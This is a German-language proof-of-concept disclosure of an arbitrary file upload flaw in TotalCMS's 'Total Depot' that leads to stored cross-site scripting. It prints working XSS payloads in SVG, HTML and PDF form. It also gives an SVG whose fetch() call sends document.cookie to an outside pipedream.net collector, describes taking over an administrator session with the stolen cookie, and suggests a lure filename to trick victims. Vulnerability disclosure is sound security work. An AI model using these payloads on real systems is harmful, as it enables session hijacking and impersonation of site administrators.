
TotalCMS ist von einer Schwachstelle für beliebige Datei-Uploads (Arbitrary File Upload) – XSS betroffen, die gespeichertes Cross-Site Scripting (XSS) ermöglicht und auch das Stehlen von Sitzungs-Cookies erlaubt.
Beschreibung: TotalCMS ist von einer Schwachstelle für beliebige Datei-Uploads – XSS betroffen, die Cross-Site-Scripting (XSS) und den Diebstahl von Session-Cookies ermöglicht.
Angriffsvektoren: Eine Schwachstelle in der Datei-Upload-Bereinigung von "Total Depot" ermöglicht es Ihnen, eine PDF-/SVG-/HTML-Datei mit verstecktem Cross-Site-Scripting (XSS) hochzuladen und die Cookies des Benutzers zu stehlen.
Ich werde 2 PoCs durchführen:
Wir beginnen mit dem ersten PoC:
Wenn wir uns im Admin-Panel (https://www.totalcms.co/demo/total-cms/admin/) anmelden, gehen wir zum "Total Depot" der Verwaltungsseite und laden die PDF-/SVG- und HTML-Dateien mit dem versteckten XSS hoch.
Hier sind die Payloads:
Es handelt sich um eine XSS-Payload, die mit dem Tool JS2PDFInjector und einer JS-Payload erzeugt wird, die den folgenden Inhalt enthält:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


Nach dem Hochladen können wir, wenn wir auf den Link klicken, den Pfad sehen, unter dem sie gespeichert werden:

PFAD der Dateien:



Und das ist das Ergebnis mit dem Cross-Site-Scripting (XSS) der 3 Dateitypen und mit den Cookies des Benutzers:



Wir fahren mit dem zweiten PoC fort:
Wir tun so, als wären wir ein Cyberkrimineller, und wir werden die Session-Cookies des Benutzers stehlen, die an den Server gesendet werden.
In diesem Fall habe ich eine Datei als PoC hochgeladen, aber in einem echten Fall können wir eine Datei mit einem interessanten Namen wie "NBA Tickets" hochladen und veröffentlichen, sodass der Opfer-Benutzer mir beim Ausführen der Datei die Cookies sendet, ohne es zu bemerken.
Zuerst führen wir einen Test durch, um zu sehen, ob wir eine Verbindung zu einem externen Server haben.
Hier ist die Payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


Wie wir in der Pipedream-Request sehen, haben wir die Anfrage korrekt erhalten.
Wir ändern die Payload, um Cookies zu stehlen und sie an die Pipedream-Request zu senden, damit wir uns als Benutzer ausgeben können.
Hier ist die Payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
Wir führen sie aus:


Wie wir im Bild sehen, haben wir die Session-Cookies des Benutzers korrekt erhalten.
Jetzt werden wir uns als Benutzer ausgeben. Um dies zu testen, öffnen wir eine Sitzung zu TotalCMS/admin in einem anderen Browser und öffnen das Add-on "Cookie Editor".

Wir ändern das Session-Cookie auf das in Pipedream erhaltene und speichern.

Wir haben die Website neu geladen und haben uns als Administrator-Benutzer ausgegeben.
